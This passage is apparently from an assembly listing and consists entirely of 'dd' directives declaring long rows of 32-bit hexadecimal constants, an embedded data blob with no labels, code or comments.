		dd 20DD41BBh, 0C4AF6FC0h, 322904B9h, 0D55D9F3Ah, 0C0768714h
		dd 98D77B62h, 0A4303500h, 0FB730956h, 0F451F374h, 0FD601E53h
		dd 0C7900758h, 60BE37EAh, 0A56AE3BFh, 913AF30Eh, 0D07E80ACh
		dd 3D7127ECh, 0B0802BD5h, 4BCC6805h, 0E50090C1h, 0F296E3DAh
		dd 741ACBDBh, 6AB300A3h, 0CDDE4784h, 30095C3Bh,	0A1BF29AAh
		dd 21A5A620h, 3F7FAEDCh, 78139F7Bh, 49CC00A1h, 622515B0h
		dd 3ADFDE02h, 800C5A84h, 1751FFF4h, 0F3F8024Eh,	60AEC35h
		dd 891E8CD0h, 390FB633h, 0DFDDA001h, 1FD0BF28h,	0C018BE1Ah
		dd 82DB8D76h, 3100A7FFh, 8F9ED939h, 0FE025B7Dh,	3E8A3FD5h
		dd 2E979000h, 0DA4F4217h, 3803527Dh, 0A0E52BF2h, 8320A7D2h
		dd 3FC4299Dh, 20DDECF8h, 8FD88700h, 47A32F36h, 30740803h
		dd 0C8A77D72h, 0F84D93h, 0FA274589h, 0DC8C6B48h, 0B0A4127Dh
		dd 0B0F63700h, 381D8547h, 9C320AD7h, 4B42462h, 885D2BF7h
		dd 0D2003480h, 0EE0F167Ah, 7159A9B8h, 12C07DDh,	0B0241CCBh
		dd 0FCACE5D0h, 0A0B20301h, 5F0AFAC8h, 215F30h, 0CD2F1801h
		dd 0DB254D04h, 939DD600h, 0E723A795h, 0AAB2003Bh, 0F1BAC53Ah
		dd 5C0077F9h, 7578347Ch, 308A30CEh, 0D84EFBB0h,	77003B3Dh
		dd 816327E7h, 27E3233h,	739EB10h, 0B9E0D369h, 9A059522h
		dd 3568929Eh, 3839440h,	1B2115h, 73FAE105h, 0CD26E34h
		dd 7A162C07h, 7BA16164h, 62F8D049h, 115607FCh, 14E1389h
		dd 30DFFA6Ch, 71B02C55h, 82109603h, 820798A4h, 0DBE25742h
		dd 4A00F0C4h, 290DD1F0h, 740C49C8h, 694C0F99h, 0B0874D33h
		dd 908D427Fh, 0E8281882h, 876B44C9h, 0B94D7B20h, 4BA5E740h
		dd 4FBE3166h, 0D2274C18h, 0A01B048h, 518060DEh,	91796733h
		dd 0F1E73944h, 0A8CCF080h, 0AE8193E1h, 0E6345150h, 0FBF1B80Ah
		dd 96802449h, 0A8DC068Ah, 0EEB90018h, 0F6A4BD89h, 0E0035D08h
		dd 0CA8EB840h, 0B04FB829h, 6ACF077Ch, 7015ABBEh, 96989C2Eh
		dd 190190A3h, 9D595251h, 0FFF030EDh, 7E5004Dh, 6BCC8C4Eh
		dd 153B94BEh, 96906091h, 305228FAh, 2309EFCh, 850323E5h
		dd 62E24A8Eh, 81906ECh,	40C31F4Eh, 0BDDE31Eh, 8CADD80Ah
		dd 60AA6703h, 95280521h, 403468D6h, 7038B4F8h, 8E2996CCh
		dd 1F18B064h, 0F115E409h, 1E088986h, 9A3E51BCh,	4A00CFCh
		dd 7E5170BDh, 0F24F0262h, 0EDDF9230h, 172EDC52h, 0D805C715h
		dd 0B040C210h, 0C4F8A14Fh, 0A8F02EB0h, 2F2A0F58h, 26684880h
		dd 0EA3E6C15h, 60A0285Dh, 75A87C00h, 220A64D1h,	0D37A07CEh
		dd 907E5AD0h, 41BD90F6h, 0B9719800h, 9E60B293h,	0E1BA0F08h
		dd 6A0B16Eh, 664325A8h,	4C3E9100h, 0A1AD5086h, 63DD013Fh
		dd 0B8C87AE2h, 5D2AD4BBh, 0CD3B9A00h, 45DAF710h, 64D200D5h
		dd 0FF9D46C3h, 0F17940EFh, 0A006D100h, 0ED82356Eh, 15D300EBh
		dd 8675CBFDh, 0F200ECD9h, 5EC7E73Ah, 1E9ED6C5h,	0A7E588h
		dd 44A607F5h, 93000DBBh, 84C6DBD9h, 122DACAh, 0F94BFCDCh
		dd 0CC2FE7B7h, 63005586h, 0F7EE4F3Fh, 3D11BD3h,	1DED0BC7h
		dd 90A7DD1Fh, 0C8CDF5D2h, 66E67306h, 13098FDh, 7DC7599Fh
		dd 0DF2E7745h, 0ACCEEE98h, 0E3DCD800h, 7E1868BAh, 0CFC440C2h
		dd 0C16B4100h, 4A622166h, 332B00CEh, 0D5545B0Eh, 0DF003973h
		dd 489EA445h, 19D7F19h,	0CE1D3651h, 0D0B45B56h,	0AE005442h
		dd 5FD057ECh, 5C7F90B1h, 880088BEh, 19E647B4h, 2907FA8Ch
		dd 2F4017CAh, 0E0C0ECC2h, 64B96CBh, 65BEB073h, 0E702C1EDh
		dd 0D750931Dh, 8E24E097h, 0A59A011Ah, 0CD918B48h, 0A447D099h
		dd 601D5F8h, 3DD285Ah, 33FB17A8h, 6021B408h, 30D406E0h
		dd 92C46C0Ch, 30D18ADh,	65F9C23Bh, 0D28B050Ah, 26C97798h
		dd 0E8A56700h, 0C002937Bh, 64F026AFh, 0C14A00F3h, 0ACE42722h
		dd 8AA5C40Dh, 909160ECh, 6D880B8h, 87E5285Fh, 0B0DF6B0Ch
		dd 89600136h, 0A2E84246h, 0E1D560E6h, 0A4A1CB60h, 7D36AEh
		dd 0AAB91F46h, 0C462AC77h, 189D80A9h, 5E0608D9h, 9DC4FD28h
		dd 6A08440h, 35137EEFh,	0E003757Dh, 0F927F8h, 574146D8h
		dd 1E45A379h, 0DFB0FC01h, 0E1E47E91h, 6CECCh, 0B6B3C016h
		dd 0AB3B516Eh, 8CCA1F03h, 9BC2A905h, 0DEA0C03Dh, 0A3F63AF7h
		dd 0BDD2AC00h, 676E7D2Dh, 0C1A5CD00h, 3AD3F081h, 0F83D03F3h
		dd 6FE5551Fh, 0D0A82ED3h, 0B20E9A74h, 0C9F77CFDh, 0E64C8038h
		dd 2BE67B9h, 0D89E43F8h, 5960188Ah, 0A30F5F9Ch,	6124E557h
		dd 10BECEEDh, 0FAB9D8h,	0AF3F331Fh, 79D30CDBh, 0E3C8AA00h
		dd 3A34E473h, 58F93AD2h, 41EEF00h, 8B88A311h, 0B0793F00h
		dd 47AB649Bh, 0C5E61B5Eh, 18E07878h, 51030D72h,	0ED56A0B5h
		dd 71180121h, 35E6A1E4h, 7B108170h, 0C745134h, 0A5267E8h
		dd 565C45FFh, 0CF730374h, 0A0788280h, 0BC448E1Fh, 68429180h
		dd 3C46867Fh, 0EBC8BFF2h, 0E7C0AE00h, 0AADA5D2Eh, 0DEDC0F00h
		dd 0F328CC12h, 0ED45242Bh
		dd 0A58D0067h, 8F784162h, 0D563Bh, 0B0065FF5h, 347DA1Bh
		dd 7FE02777h, 0D83CFAEFh, 2BD602EAh, 9DF32634h,	0C9CB0204h
		dd 6374DF8h, 10C059C1h,	0C25B500h, 20FC15CFh, 0CB5A001Bh
		dd 0DB824FF4h, 4201C111h, 0BCFFBFEFh, 29901AD2h, 501C84C4h
		dd 44E9C644h, 7844180Dh, 0E65F421Ah, 519A06DAh,	14009EF4h
		dd 6E11F5Ch, 1E2E08DFh,	0C0D4644Ch, 0CE9B6377h,	0B57FCD24h
		dd 8CA35300h, 0AAA18116h, 0F7E70DCh, 90376AECh,	0CCB3260h
		dd 0B5000936h, 98727C45h, 0FDACC67h, 97BB94C1h,	0EB3D0CA0h
		dd 68019669h, 95737C9Ah, 8850F3C2h, 249462DFh, 5369F4h
		dd 0B089996Eh, 7205AF16h, 978EEBCh, 0C43FDFC0h,	3E6F0586h
		dd 830D6D17h, 84C0929Ch, 0F500AE2Ch, 1E6494CFh,	0E442CC55h
		dd 838200E8h, 0AE853C57h, 0C400D36Fh, 5DE62A69h, 187D3Bh
		dd 32BD8C0Dh, 3E84504h,	477C7307h, 53C642D5h, 6D740011h
		dd 0F36A1337h, 12003C44h, 0B4ECC2FFh, 118653Dh,	1D1CE90h
		dd 80FA8416h, 5BF39D0h,	2377696h, 4759F0B9h, 6075BC67h
		dd 0C86BFCh, 7E718C0Ch,	0C03F8EEEh, 7621DD3Dh, 0E7978700h
		dd 5FA885CCh, 60921FF3h, 0C6CBCFF9h, 0F8A3D140h, 4A00D6AAh
		dd 67315635h, 0E4DFC77h, 0D294395Eh, 43516640h,	0A6005F6Ch
		dd 3A100F2Ah, 0FAAF87h,	0A77FD614h, 354D390Dh, 83547100h
		dd 0D2992E84h, 1DF43DE5h, 9DE202F8h, 0D528733Bh, 56F6D081h
		dd 0A4A8CC8Dh, 80926300h, 0D075E619h, 0AFDF001Bh, 0DC9D868Ch
		dd 0FB004674h, 85BEA06Eh, 905AA9h, 7C090893h, 0FB9B627h
		dd 0E2ACFD00h, 0BCB8DC34h, 6A74B1h, 0DB18297Eh,	0F427C8CCh
		dd 0FD3EC898h, 0E8F8A801h, 3A1BC13Dh, 99B380E9h, 2DE5EE65h
		dd 0DA9200F6h, 4B50E1B9h, 5C013F71h, 5A6159F9h,	0ABD88FDDh
		dd 466700BBh, 25518217h, 0A9009CCAh, 0E391DE60h, 0F8059D94h
		dd 474E3D81h, 0FA06F680h, 0C0433B0Ch, 67029700h, 1495CB88h
		dd 57EF8A6h, 0BE646D4Ch, 59C0EEF4h, 2E78BAh, 9B9ED3FBh
		dd 0DF5075ECh, 5C27D100h, 98BBD6A6h, 31410023h,	0CD959048h
		dd 0B500C9A2h, 63DAD2C5h, 0E54006h, 6721B2CFh, 37F5FB5Fh
		dd 0E7EEFE00h, 0E4C3C57Dh, 1D79900Bh, 819BBC53h, 3EFC392Ah
		dd 0F88BE41Ah, 93A6D0A8h, 595D9E00h, 31AD3394h,	0C5F70049h
		dd 0FE6F4003h, 2D0036BFh, 0EBF6452Fh, 0A06E737Eh, 8025DFh
		dd 0E7D81B43h, 7F8F5E17h, 0CEBEC05h, 0D000DA44h, 7C51FAE1h
		dd 86EE0029h, 0A88E610Fh, 924D2C7h, 0D903BDDCh,	0A8C30196h
		dd 7DE6C9h, 229360C8h, 53840351h, 0CE0EB900h, 9A426830h
		dd 0C690079h, 0BF816A9Bh, 0F3008AA2h, 0A0873F88h, 14E81DA7h
		dd 0CC7F0FE7h, 11663880h, 560071E9h, 79DBEB89h,	0E46290A9h
		dd 0E1E60044h, 154DD9C3h, 0C74C5FD3h, 2AF118A8h, 77A9070h
		dd 0C2722BCFh, 8620BF48h, 7C188FE3h, 11991D0Ch,	466E9Bh
		dd 1455A5AAh, 0CAADFF33h, 0E4DEFE00h, 0B8DFC752h, 9A7726C4h
		dd 5406006Ch, 532A551Bh, 0E3BDA600h, 1EFEADCAh,	189A00F1h
		dd 0EA2227D7h, 0B600BF5Ch, 3B57DA42h, 5DB600Fh,	0FD8676E0h
		dd 0EF9000A3h, 44251650h, 4C18F94Ch, 0C65200E6h, 45DC0DC1h
		dd 47FCD8h, 0F8B0D781h,	37BEC8D6h, 7CBD6200h, 442D5A02h
		dd 0FF9201F7h, 99BF2F4Fh, 0C235F43Fh, 29FB0D00h, 6F1F5617h
		dd 1C030397h, 0ACF581C6h, 4B48EFE0h, 26A65103h,	0D8FE6085h
		dd 0ADCC61h, 831F7ECFh,	9DA09474h, 0DCA39h, 0B47165C0h
		dd 7897D62Ah, 0CF8B007Eh, 87819598h, 0E2FA3E4Dh, 8A0C181Fh
		dd 0A8C6EF80h, 8F525Bh,	4729F7D2h, 0B0D6CDFAh, 0E3A2E212h
		dd 0CC209E12h, 441C7Bh,	9A65FB11h, 0ED47BCBBh, 0ECC5280Fh
		dd 0A9AE40B7h, 0E0434D0Eh, 12AC9AC1h, 90248Bh, 1185BA2Ch
		dd 101CD92h, 0C06D7EDEh, 2E4CE8Fh, 0D4700036h, 6A5A4CF1h
		dd 0E0381B3Eh, 24C60078h, 89146CCCh, 45555884h,	58038300h
		dd 0BD940571h, 0E9002F76h, 643772BAh, 16EC928h,	7A3165B5h
		dd 0C6B14A1Ah, 0B688B140h, 2A9B3Fh, 0D429CAA9h,	0AC2F50h
		dd 1C45814Ah, 5E375AEBh, 608A7300h, 0D05BE00Ch,	7EDB02ABh
		dd 77E65C48h, 51714CC0h, 649A2802h, 60B62FE7h, 0C3A85Ch
		dd 0BD534616h, 23740631h, 6434BF0Eh, 8FFF298Bh,	61450033h
		dd 39F16687h, 298E381Ah, 422F9DE5h, 96CFF260h, 400C722h
		dd 0EF280566h, 3103B49h, 0AFCAD75Ah, 6881871Eh,	0F258808Eh
		dd 50D39D6Bh, 0E84607A4h, 0F10FD23h, 155440DDh,	9E556156h
		dd 3AC07600h, 1319FB44h, 0DA870022h, 5241BFE5h,	11015E89h
		dd 5B1F1B4h, 0C3700C77h, 0C0080076h, 83257447h,	0E00DDBAh
		dd 663D1D17h, 1DF64078h, 0C22BBF5Bh, 0AC601F3Eh, 3B2E6860h
		dd 7C6030FBh, 0BB0A6B0Fh, 8144031h, 0C6C7D8h, 0CD8479E6h
		dd 1433EBCh, 0EC51DA1Fh, 0A9ECCCE8h, 6F74461Ch,	0B59AF743h
		dd 8CD99B54h, 422968C0h, 0B09F40E3h, 37A61E17h,	51913840h
		dd 0FCF565DBh, 9FEA0AE0h, 0F4263Ch, 0E6C71C7h, 0ED0078C3h
		dd 70215F16h, 939733h, 0A1FCC418h, 0B8B5B75Dh, 0CE294200h
		dd 0C8D70CADh, 0BB6C00F7h, 76CF0AA9h, 3C9826E8h, 658D8701h
		dd 98F94623h, 5822C30h,	5BC5EFB0h, 6D9B80B8h, 5F00E818h
		dd 1961E4F4h, 88CD43h, 2A87D80Ch, 9DA17149h, 4836500h
		dd 895F4B73h, 0D6550081h, 642B6842h, 140075EAh,	19B13C16h
		dd 0FE4DB1Fh, 0EEFF2EEFh, 0ED32E7A0h, 51046F0Ah, 76B1B22Bh
		dd 8F04C080h, 0A17C2EFCh, 97C71FBCh, 88003EC9h,	291161D8h
		dd 7A6B20B7h, 530044E0h, 0D4307D20h, 3F8C6498h,	8B80F588h
		dd 0B5E9CDABh, 0A906FDF3h, 0DD6FBC9Eh, 17D0E848h, 422AB107h
		dd 0EA87102Ch, 30031960h, 72EDC500h, 9F90ADEEh,	0B535051Fh
		dd 0F619AEh, 890753B0h,	289441F3h, 239A2580h, 2422F7FBh
		dd 2642A81Dh, 670E0069h, 0D459B4B2h, 0BB238D15h, 0E8EF0090h
		dd 149D8CEAh, 9A6B003Dh, 167211E2h, 0EC28592Fh,	0D2006CB5h
		dd 0CD52330Ch, 545DEBDh, 63F136EAh, 207C900Fh, 55480E8Dh
		dd 776900ACh, 700A13B6h, 0AE402CDBh, 0A69C8070h, 0C1F66EB5h
		dd 25CA81C0h, 36B79DCh,	453921D3h, 0FE00FCE3h, 0C62663C9h
		dd 5ED98C96h, 7353F069h, 222E1EE8h, 0CB802002h,	4270C6BAh
		dd 51DC0EE5h, 0DD80ED5Dh, 877A7F76h, 2100D271h,	0AF386C47h
		dd 7260D33Ah, 0C5720020h, 0BAA18B2Bh, 7718733Ch, 0F979A77Fh
		dd 3B2CF05Bh, 3987D984h, 0F13B8F28h, 8CCFA279h,	98CE8C11h
		dd 3E41C06Ah, 5D40DC8Dh, 4779580Ch, 0E74AE1C6h,	7B276840h
		dd 0C1CD00A1h, 0FFBFF0EEh, 30FA6844h, 5E204200h, 0CE06A2A7h
		dd 0C8D5A018h, 999400BCh, 0E796FDF5h, 16006782h, 0F9FA8F3Dh
		dd 0BD7D72h, 4E318570h,	0A0996CC4h, 79C0A3B0h, 6E2EA60Ch
		dd 74E805BFh, 4017FD43h, 7FA42998h, 4900D0DDh, 6EBE11D4h
		dd 0AD9F06h, 0E609E994h, 2C07AA91h, 653B3918h, 0B8650h
		dd 3F338B59h, 0D1B4A9EDh, 0B34AD500h, 60E72C7Dh, 0CCC6607Eh
		dd 0FA09F51Dh, 0CF1C977Ch, 9C428550h, 0C8BEB5B9h, 37C984h
		dd 2FC669C7h, 30C3B473h, 8F30D3F8h, 3DAD21ABh, 9F85001Eh
		dd 0B067AC92h, 5500EE53h, 2C6370C2h, 0E84A8B13h, 28A801F2h
		dd 419DFFCEh, 4018D31Eh, 4449A28Fh, 4E3903A4h, 0FA7B6FEDh
		dd 0F51AEA8h, 38D48300h, 1EE404EFh, 1082687Ah, 0EB18F404h
		dd 0D010519Fh, 44A4008Ch, 0F7677D37h, 74FE7A40h, 4B0A9001h
		dd 958663EAh, 6023D0E4h
		dd 60B329A6h, 0C2007A41h, 62287CB7h, 18D61077h,	2ACA3C2Bh
		dd 0BD1E747Fh, 18816ACFh, 3D0D8645h, 4744EA80h,	0E817CC79h
		dd 0D0F8E507h, 0E270AD16h, 0BE00D2Ah, 802B193Fh, 4114FA00h
		dd 9E00FC04h, 90495579h, 76D2D82h, 3C5D958Dh, 0DA109025h
		dd 1800D7CDh, 0C3EFC146h, 7D3D7Ch, 7630068Ah, 723FC4FDh
		dd 34778501h, 80137F12h, 0F2DFC0h, 4707AE6Eh, 19F1A540h
		dd 0EA16D4F1h, 0CD7D6F00h, 0B231AD21h, 906400B3h, 92567A3Eh
		dd 2A00FFBAh, 5AF7FCB6h, 6100525h, 66D448A8h, 0A30050F9h
		dd 2D32993Ch, 0B34615Bh, 2912922h, 2C002F8Bh, 9EF6ED84h
		dd 758A20Eh, 0B2DCC03Fh, 0D33D1h, 30A06B59h, 16684B8Ah
		dd 0CCA23Eh, 0D2A721F8h, 1A1EC1h, 0BB4EAFEDh, 0B77BD4E0h
		dd 437EF407h, 94D037B0h, 0CCDE82h, 192BB663h, 0A2501698h
		dd 31645F00h, 0E6CF0444h, 5CFF0002h, 0E3C92238h, 0E1C0474Fh
		dd 5044BFF1h, 0F82800B9h, 0B2468359h, 7400DB98h, 0D967057Ch
		dd 1E4D4012h, 1D45954Eh, 51BF4071h, 1ED03D97h, 5EFBC300h
		dd 2FA1F84h, 0A0687C25h, 0AEA8E8h, 3B23AF33h, 0D8D1C49Eh
		dd 84A97100h, 8B541C67h, 0E23E0736h, 0C02D4988h, 0FF2B1C0h
		dd 5930BA00h, 92DBEF10h, 0A6D10773h, 15ECF6EEh,	0A13D81BDh
		dd 51CEF8C1h, 8AE1DA0Ch, 377041h, 0A5BF7484h, 3E2F825Fh
		dd 0CA125503h, 984D1FEEh, 86D0C2h, 0E50A243Dh, 63B07819h
		dd 27008890h, 0FFD71114h, 9DE90h, 5C4865B7h, 0C23A905h
		dd 0A192C200h, 5652AE4Bh, 0AAD4004Ch, 2C892FE9h, 420057CEh
		dd 0F22E8188h, 1A80CBh,	0C67F7D90h, 0F4DC210h, 52758500h
		dd 71443399h, 25FD00FEh, 21E7A051h, 0F6005DE9h,	0E846953Fh
		dd 74EE26Bh, 0A41ACE71h, 88FA5Ah, 1028E58Bh, 3506AE72h
		dd 7881481Dh, 1E460060h, 0C23D1765h, 9C3D0C50h,	0AFDC0091h
		dd 0E933B19Bh, 322B00E8h, 2359DD4Dh, 2800D57Dh,	534C2C94h
		dd 4C7F093h, 0EC44B3A3h, 2F14C0C2h, 9F709988h, 6265DA7Eh
		dd 0CDC3B536h, 8F8A90BCh, 0F7383A80h, 3280883Dh, 0BF85E2FAh
		dd 3D009948h, 5E895081h, 0FF52A1h, 5369A80Fh, 0D1517DC3h
		dd 94042B76h, 0CD880ADBh, 0E058BC83h, 0E6BE086h, 13AED89Bh
		dd 66AB4C40h, 6B0E12Ah,	2EB51601h, 4DECFB0h, 165F6834h
		dd 2CE3A6h, 8718693Dh, 0A03A132h, 0E97D1A60h, 0F0400093h
		dd 0B38F0349h, 0A56024ABh, 0BC234B70h, 961E00E7h, 51D5B241h
		dd 3201C960h, 7A367D4h,	9834B79Eh, 7CC60595h, 0FB6C1325h
		dd 234742C0h, 647424h, 40795B9Bh, 5811438Ch, 930B8407h
		dd 1B50DC4Fh, 95DDE4h, 0DFBB715Eh, 5B25E382h, 1C002E90h
		dd 6C30B4F6h, 6FD19Dh, 5FE652CAh, 251D03B9h, 3EDC0F0Fh
		dd 6D64C04Eh, 0A45C5Eh,	9AB14399h, 4473B617h, 481CC40Fh
		dd 2E790E49h, 0BCB1F835h, 0FFE801D5h, 0B20C3D73h, 472C305Eh
		dd 0FBC69200h, 0BA04051Fh, 43143DA8h, 0ECCD1680h, 9BE08DD5h
		dd 0B4A37F03h, 0D4F39026h, 391F3B80h, 20EE48B5h, 496CAE00h
		dd 8769671h, 0D2BC8600h, 9D57CCA0h, 18784895h, 91094A05h
		dd 73FC17h, 42012CEDh, 746BFAh,	801B3D1Ah, 38F82F07h, 88CAFB00h
		dd 84A6F7B2h, 70CF006Eh, 285FCC4Dh, 0D5003AD6h,	2B1CCE1Ah
		dd 1D978560h, 0C0ED721Eh, 15C3361h, 48198F0Bh, 5D1924B7h
		dd 50976EE0h, 71FCC7h, 26FED8C8h, 5A38E515h, 0CE467A0Ah
		dd 2D0494C3h, 18819E83h, 0B024BA47h, 944004Dh, 62D75690h
		dd 0A8099725h, 812263FCh, 9266082Ch, 2DB824h, 9EC198E6h
		dd 0DABFE90Dh, 56B48E00h, 18BB51FDh, 59E61CF9h,	58C6C034h
		dd 268C36F1h, 0A470CB00h, 732B06EBh, 93C30013h,	0D5451E5Ah
		dd 4B00E98Ch, 447557EFh, 167C5270h, 5D3C715Fh, 0C9428068h
		dd 0F5F1FDB2h, 4FD1AE00h, 50D99D58h, 63F047Bh, 86120D92h
		dd 0F94C617Ch, 6DFF00A8h, 0DCD20843h, 0F10B0092h, 1B202978h
		dd 0F01F641h, 4701AE05h, 0FEE89318h, 90EB509Eh,	448F00B0h
		dd 290CFC2Bh, 0E413A4A3h, 8F0F2EC6h, 3A3CC1h, 0ADD906BEh
		dd 0C0818BD4h, 0AF50FC94h, 8800F6CFh, 8E02EB80h, 1207E5AAh
		dd 403A461Ch, 27C1B3DCh, 0CF0CB18Ch, 1935FC1Dh,	407718BBh
		dd 2FC180EAh, 0C42E1500h, 47021A37h, 3C397C8Ah,	2A074FCBh
		dd 0D0C160DBh, 0F0252E45h, 479BE30Eh, 2D52608Dh, 271F85h
		dd 0B8DE40F3h, 0FE1CB634h, 89934A9h, 151F05CBh,	864795h
		dd 6FD6E250h, 0E903B13Eh, 5DFAA727h, 287802C5h,	23B939C4h
		dd 50032082h, 0D8B11C86h, 213E7E1Dh, 11BA8B00h,	5C07D540h
		dd 5800A417h, 3C7E51C8h, 0F0048B2h, 0FE9D6249h,	3D9AB53Eh
		dd 1880EA77h, 0BB1EF527h, 8900E4EEh, 616BA98Dh,	1DAC824Dh
		dd 400651DAh, 4319591Bh, 31FE0BDEh, 0E6BF9100h,	0FF53253h
		dd 3C270E8Eh, 0E9008139h, 0B2DE0469h, 89D54F03h, 0D88082F9h
		dd 94057h, 30E052C3h, 2746CEB0h, 0F18B1B00h, 0AB25D2E4h
		dd 0B0BC74B2h, 16F6F4h,	8578CE93h, 0CB97270Dh, 609D0903h
		dd 0D0FD9895h, 0FB8A9Eh, 0B8C565Dh, 0E78D46C7h,	0EBCDC40Eh
		dd 0BE2E63A9h, 0A28E90C9h, 3E8A0008h, 0C821F6A4h, 3C013DA6h
		dd 15D0336Ah, 0D448EA0Dh, 0DEF00018h, 2701B071h, 9166B926h
		dd 212A08h, 89DE13FAh, 285DACB1h, 0C5625000h, 64EEE7BEh
		dd 30DCF833h, 0E4187948h, 7D2AEBC3h, 9AF2DC47h,	0C4F07B00h
		dd 3561567h, 6408DF7Eh,	0DD438E80h, 8AA949C0h, 0C53CD5E8h
		dd 59C2F5AEh, 2FF444h, 0C357BE81h, 0F78E18C0h, 30D8D483h
		dd 0A4973E0h, 0BF00229Ah, 0CA17FFBBh, 1D854Fh, 2CC9EC27h
		dd 16EFDB34h, 0BE833508h, 0E13E988Bh, 8C05D50h,	9F53DD38h
		dd 0A3F628h, 0D8FE462Fh, 4B7D3F0Eh, 0A40C8374h,	0E951A98Ch
		dd 74738CE1h, 57C41A1Ch, 27F91E1h, 977B8F01h, 20A58EFAh
		dd 0D56F79F5h, 0A7D400B6h, 31EA7D94h, 8F388260h, 0DA91E756h
		dd 40FD5320h, 351F07EFh, 441E0795h, 9158B0D2h, 0E2533000h
		dd 2B0C1BAh, 321C002Ah,	0B9C087E9h, 820E8BD9h, 3848A7EDh
		dd 4C36B60h, 0C1574A58h, 0E4CF808Eh, 5C00E6C5h,	0CE420BFEh
		dd 4A63B106h, 2505E0EFh, 7F7A4300h, 506E3AFBh, 0F844F470h
		dd 0DCB009B3h, 0FA014B6Fh, 0F05505C4h, 0B900B2DAh, 0D4253A5Ah
		dd 6ED382DCh, 7C4129B3h, 0E435DD2Fh, 0D1DB773h,	8018719Bh
		dd 12DF021h, 35874C2Fh,	0F049CA52h, 770C2534h, 60BE30CFh
		dd 0F88EF4DDh, 1849E2ECh, 20A3101Bh, 6D80B9FCh,	0DC8F034Bh
		dd 4A79CAD6h, 0BE3B8806h, 5202C7Ch, 0EDBA8728h,	23502F34h
		dd 7D45008Bh, 0D95E6708h, 26082148h, 0C6055B31h, 2C111B7h
		dd 0DDE4987Ch, 0DFD6EC2Fh, 1F4B8399h, 0A1724FE7h, 1473E303h
		dd 0DB92F7D5h, 4E0930D2h, 727BAF21h, 0DDD6D300h, 0D5CBA827h
		dd 0DA0100A1h, 699AE445h, 0C0F48E41h, 53BA2E00h, 594EA450h
		dd 48A90021h, 37E80E7Dh, 0E97F2814h, 0CC57A000h, 36C450BCh
		dd 0A6C10E22h, 72E0919Fh, 0BEDDBDE7h, 5500E679h, 7D936B0Fh
		dd 1E27E25h, 87754D48h,	0D0B20B12h, 211A1ECEh, 15101964h
		dd 3968E004h, 28F865C9h, 77C73807h, 0E7506CE1h,	0B866219Ah
		dd 0E0EF90D0h, 136E00F6h, 0B92E8599h, 4600D380h, 38A53AF3h
		dd 794502h, 2F085524h, 6D5C5BFCh, 0D49F4103h, 0F8939E23h
		dd 5A0DC2h, 39CABD09h, 0AC7DED89h, 0F48BF700h, 0E2803A95h
		dd 5AEE00DEh, 0B663DF18h, 900EED99h, 0E00FE609h, 0BE68542Bh
		dd 4EA11D80h
		dd 0D81C77Dh, 3757A073h, 9D004A8Ch, 5CBC82D0h, 0FA6016h
		dd 77360730h, 3B352BF6h, 4B90DB03h, 0C05DA976h,	0B8373h
		dd 0C6B5753Fh, 71DFACFDh, 0BDB7D507h, 7310152Eh, 724FB31Fh
		dd 0F6B27DD0h, 89C400FBh, 6562A511h, 811D8234h,	3D4084DEh
		dd 54606663h, 0C1A40E98h, 3760E82Bh, 0E11B67B6h, 0ACE66D28h
		dd 1EE9C24Ch, 2380A082h, 0C1DDAA1Ah, 0A2A103B4h, 0DCF2C580h
		dd 0BB42100Bh, 86FA0081h, 382D751h, 71BE1ECAh, 4EF0C577h
		dd 0E4A8C6F4h, 7203FEEBh, 9C1AEF56h, 0F040074Ah, 5009D26Eh
		dd 41283997h, 0A00A6E6h, 0A1AC46AAh, 0CD9FCB8h,	0DCB42230h
		dd 38203E50h, 6CE465h, 55ED45B2h, 0B897EB21h, 0F9A60800h
		dd 69A0F6BCh, 5A9100D5h, 61E5B3E2h, 57008C88h, 0C004635Fh
		dd 0F5285Ch, 0A068FA29h, 3D9EAAF8h, 4F839601h, 0A8D21986h
		dd 0C397CCh, 93F65F1Ah,	74966920h, 405848h, 61D048B9h
		dd 5CEE4Bh, 42CE44E9h, 9FC6537h, 517C06F2h, 0D9C03092h
		dd 0BF6ACB9Eh, 0E7E10027h, 0CA59E917h, 0F1E664F4h, 7AA94503h
		dd 0EB7D50BDh, 80ADFA21h, 0A130FC9Ch, 0BA780107h, 6383F17Bh
		dd 62304008h, 1700B5D9h, 0A84CFF0Bh, 0E22E292h,	792788F3h
		dd 0EA5574A0h, 3A04B3E1h, 6D7BE3B8h, 0E0087607h, 0B648C33Dh
		dd 550602F2h, 0CA7C9D7Ah, 4A1F0079h, 73E7BA40h,	0DE00EC4Ch
		dd 0DFB79A4Eh, 24B15403h, 7B4DF1h, 0F80D36AFh, 0E33F5265h
		dd 0CFCE81B5h, 0A98F7E2Fh, 0A07C3C8h, 0D7E9C558h, 5F6400EDh
		dd 6CD13E96h, 34001890h, 2573B041h, 224EB452h, 0CD1E90CEh
		dd 23C12EFEh, 4B5A16ABh, 0D5A6F4h, 0FFA4E497h, 5BFE3B4Dh
		dd 0B27B4076h, 8E153Eh,	0AB36657Ah, 1DBA799h, 1E48441Bh
		dd 0C00E6CA2h, 0CB05377Ch, 28AC3A3Bh, 8B001085h, 6CB605F4h
		dd 61811CB4h, 213E0635h, 0DE0051DAh, 72A2453h, 37D705D1h
		dd 0C0200179h, 34777297h, 0B039A800h, 411C8088h, 685B1EAEh
		dd 0FDFA00EEh, 3FBEFBC4h, 37D72107h, 0B5806301h, 0A51B7Dh
		dd 0D6EE6DF1h, 57C2DC43h, 0FAB7D91Fh, 0D7693BC0h, 0C8AA13h
		dd 0BDA2976Bh, 7E63F460h, 9D7C4F3Bh, 51C0896h, 0A6492740h
		dd 1875F11h, 93B4AE10h,	53250FE1h, 50A8E6E4h, 5B58CAF5h
		dd 53D402BFh, 0E24667A7h, 2F8800D9h, 904231DFh,	0F47200F7h
		dd 1F051847h, 90EA3C74h, 3A1C9490h, 360098F0h, 201AB47Eh
		dd 0A74214F6h, 9300C0FFh, 0C2EFF78Ch, 0FE0197A5h, 0B810E7B0h
		dd 40D1D967h, 765B2E0h,	0A30C0A51h, 314BE02Ch, 5400FD5Dh
		dd 1B3E6E52h, 0B2AACE9Fh, 35090024h, 14834362h,	0A8000873h
		dd 5DFF396Dh, 90EEA07h,	94B94129h, 1791A003h, 80C8113Fh
		dd 1577EE2Dh, 3ACDCE2Bh, 0C10099BBh, 4B092E34h,	0A2F447EAh
		dd 808CFA51h, 4642AC68h, 98C8CF0Ah, 7C449048h, 0B04E7EA8h
		dd 0BABB1F3Ch, 0AA21000Dh, 0D032A95Fh, 0AFD75E00h, 0F7EAA682h
		dd 0B9190052h, 0AC9B3579h, 9E046C45h, 9480D5A2h, 0E7A8FDC0h
